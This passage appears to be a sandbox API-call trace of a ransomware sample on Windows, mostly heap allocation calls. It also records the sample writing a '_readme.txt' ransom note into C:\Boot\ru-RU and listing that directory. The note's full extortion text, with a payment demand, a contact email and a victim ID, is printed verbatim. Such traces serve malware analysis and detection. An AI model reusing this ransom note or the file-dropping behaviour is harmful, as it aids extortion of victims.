Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.313] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.313] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.313] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.313] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.313] PathFindFileNameW (pszPath="") returned="" [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.313] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.313] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.314] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.314] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.314] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.314] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0124.314] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.314] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.315] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.315] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.315] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.315] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.315] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.315] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.315] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.315] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.315] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.315] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.315] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.316] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.316] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.317] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.317] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.318] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.319] RtlAllocateHeap 